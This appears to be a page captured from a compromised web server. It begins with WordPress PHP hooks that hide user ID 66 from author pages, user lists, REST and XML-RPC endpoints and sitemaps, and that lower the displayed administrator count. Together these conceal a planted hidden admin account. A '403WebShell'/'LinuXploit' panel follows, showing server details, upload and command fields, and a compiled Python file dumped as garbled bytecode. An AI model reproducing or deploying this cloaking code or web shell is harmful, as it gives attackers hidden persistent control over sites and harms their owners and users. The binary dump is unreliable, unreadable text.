add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /proc/814/root/lib/python3/dist-packages/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/814/root/lib/python3/dist-packages/__pycache__/apport_python_hook.cpython-312.pyc
�

�Q�i�!��,�dZddlZdZd�Zd�Zd�Zd�Zy)z:Python sys.excepthook hook to generate apport crash dumps.�Nz/etc/default/apportc���	ddl}ttd��5}|j�}ddd�|j	d|j
�duS#1swY�(xYw#t$rYywxYw)z4Return whether Apport should generate crash reports.rNzutf-8��encodingz^\s*enabled\s*=\s*0\s*$T)�re�open�CONFIG�read�search�M�OSError)r�config_file�confs   �4/usr/lib/python3/dist-packages/apport_python_hook.py�enabledrsi��	��
�&�7�
+�	&�{��#�#�%�D�	&��y�y�3�T�2�4�4�@�D�H�H�	&�	&������s'�A�A�&A�A�A�	A'�&A'c�	�	|tfvr 	trtj|||�yyt�s 	trtj|||�yy	ddl}ddl}ddl}ddl}ddl}ddl	}	ddl
m}
m}m
}|s 	trtj|||�yy|j j#|�}||�s 	trtj|||�yy|	j$j'�}
t)|d�rL|j+�}|dk(r 	trtj|||�yy|dk(r
t-||
�n||
d<|tk(r$|j.�t1|j.�|
d<|j3�}|j5||||��|j7�j9�|
d	<|
j;d
dg��|
j=�||
d
<d|
vr0t1t?|jA|�jB��|
d<	tjD�|
d<|
jI�r 	trtj|||�yy|jKtLtN�5|
jQ�ddd�d|
d<|jRjUdd�}	|jW|dd��|jYdd|�}|�d|�d|j[��d�}|j j]|�rC|
|
|�||
|�r 	trtj|||�yy|j_|�|ja|jc||jd|jfz|jhzd�d�5}|
jk|�ddd�trtj|||�yy#ttf$r!Ytrtj|||�yywxYw#tF$rY���wxYw#1swY���xYw#t$r!Ytrtj|||�yywxYw#1swY��xYw#trtj|||�wwxYw)z1Catch an uncaught exception and make a traceback.Nr)�increment_crash_counter�likely_packaged�should_skip_crash�
get_dbus_namez"org.freedesktop.DBus.Error.NoReplyz)org.freedesktop.DBus.Error.ServiceUnknown�_PythonExceptionQualifier)�file�	Traceback�
PYTHONPATH�
PYTHONHOME)�extraenv�ExecutablePath�ExecutableTimestamp�
PythonArgs�no�	_HooksRun�APPORT_REPORT_DIRz
/var/crashi�T)�mode�exist_ok�/�_�.z.crashi��wb)6�KeyboardInterrupt�sys�__excepthook__r�
contextlib�io�osr�	traceback�
apport.report�apport.fileutilsrrr�ImportErrorr�path�realpath�report�Report�hasattrr�dbus_service_unknown_analysis�errno�str�StringIO�print_exception�getvalue�strip�
add_proc_info�
add_user_info�int�stat�st_mtime�argv�AttributeError�
check_ignored�suppress�SystemError�
ValueError�add_package_info�environ�get�makedirs�sub�getuid�exists�unlink�fdopenr�O_WRONLY�O_CREAT�O_EXCL�write)�binary�exc_type�exc_obj�exc_tbr+r,r-rr.�apportrrrr4�name�tb_file�
report_dir�mangled_program�pr_filename�report_files                    r�apport_excepthookra"sY�� f:��)�+�+��D����x��&�9���y��|����x��&�9��y	������ �
�
���T����x��&�9��Q���!�!�&�)���v�&��H����x��&�9��E���%�%�'���7�O�,��(�(�*�D��;�;��r����x��&�9��q�B�B�-�g�v�>�6:��2�3��w��7�=�=�#<�25�g�m�m�2D�F�.�/��+�+�-���!�!�(�G�V�'�!�J�%�.�.�0�6�6�8��{�����|�\�&B��C�����#)��� � �F�*�,/��B�G�G�F�O�4L�4L�0M�,N�F�(�)�	�&)�h�h�\�F�<� ����!��>����x��&�9��;�
 �
 ��j�
9�	&��#�#�%�	&�"��{���Z�Z�^�^�$7��F�
�	��K�K�
��$�K�?��&�&��c�6�2��#��A�o�%6�a��	�	��}�F�K��
�7�7�>�>�+�&�#�F�K�8� ���5������x��&�9��
�I�I�k�"�
�Y�Y��G�G�K����r�z�z�!9�B�I�I�!E�u�M�t�
�	&�
��L�L��%�	&�����x��&�9���_�W�%�	��\����x��&�9��_	��Z�	��	��
	&�	&���	��*����x��&�9��-	��	&�	&������x��&�9��s��	Q �
Q �"O�8Q �#Q �;Q �8C'Q � P
�4Q �$Q �>P�)Q �9P'�
AQ �AQ �Q�0Q �P�&Q �P�Q �
	P�Q �P�Q �P$�Q �'	Q�0Q �Q�Q �Q�Q �  Rc�>�ddl}ddl}ddlm}m}m}ddlm}|jd|j��}|sAtjr1tjjd|j�z�y|jd�}	g}
|d�D]}}|d�	�}|j|d
��	|jdd
�|	k(rI|jdd�}
|jdd|
g|j ��dk(}|
j#||
|f��|
s	d|	��|d<yd|d<|
D]!\}}
}|dxxd|�d|
�d|rdnd�d�z
cc<�#y#||f$rGtjr3tjjd|�d|j����Y��wxYw)z7Analyze D-Bus service error and add analysis to report.rN)�ConfigParser�
NoOptionError�NoSectionError)�globz/name\s+(\S+)\s+was not provided by any .servicez/Error: cannot parse D-BUS name from exception: �z%/usr/share/dbus-1/*services/*.service)�
interpolationzUTF-8rz
D-BUS Service�Name�Exec�pidofz-sx)�stdoutzInvalid D-BUS .service file z: zno service file providing �DbusErrorAnalysiszprovided by� z (z is �znot zrunning))r�
subprocess�configparserrcrdrerfr
�get_dbus_messager)�stderrrU�groupr	rK�call�PIPE�append)rXr4rrprcrdrerf�match�	dbus_name�services�service_file�service�exe�runnings               rr7r7�s���
��H�H��
�I�I�:�G�<T�<T�<V�
�E���:�:��J�J���A��*�*�,�-�
�
����A��I��H��D�E����T�2�����\�G��4�
	��{�{�?�F�3�y�@��k�k�/�6�:���O�O�W�e�S�$9�*�/�/�O�R�VW�W������s�G� <�=���$�(B�9�+�&N��"�#�&3��"�#�%-�	M�!�G�S�'��#�
��W�I�R��u�D�w��F�(C�8�L�
M�
�	M���
�.�	��z�z��
�
� � �2�<�.�A��0�0�2�3�5��
�
	�s�7AE�A
F�Fc�6��tjd��r+�jd�sddl}	|j	��d�����fd�}|t_	y#t
$r<	|j
d���jd�r�dd�n#t$rYYywxYwY�UwxYw)zInstall the python apport hook.rr$Nz/proc/self/cwdz
 (deleted)i����c� ��t�|||�S)N)ra)rWrXrYrVs   �r�partial_apport_excepthookz*install.<locals>.partial_apport_excepthook�s��� ���7�F�C�C�)
r)rC�
startswithr-�getcwd�FileNotFoundError�readlink�endswithr�
excepthook)r-r�rVs  @r�installr��s�����X�X�a�[�F�
�f�'�'��,��	��	�	��}�A�f�X�.�F�D�/�C�N��!�	�
����%5�6���?�?�<�0�#�D�S�\�F���
��
��	�s5�A�	B�'B�B�	B�B�B�B�B)�__doc__r)rrrar7r��r�r�<module>r�s*��@��	��
� v:�r3M�l/r�

Youez - 2016 - github.com/yon3zu
LinuXploit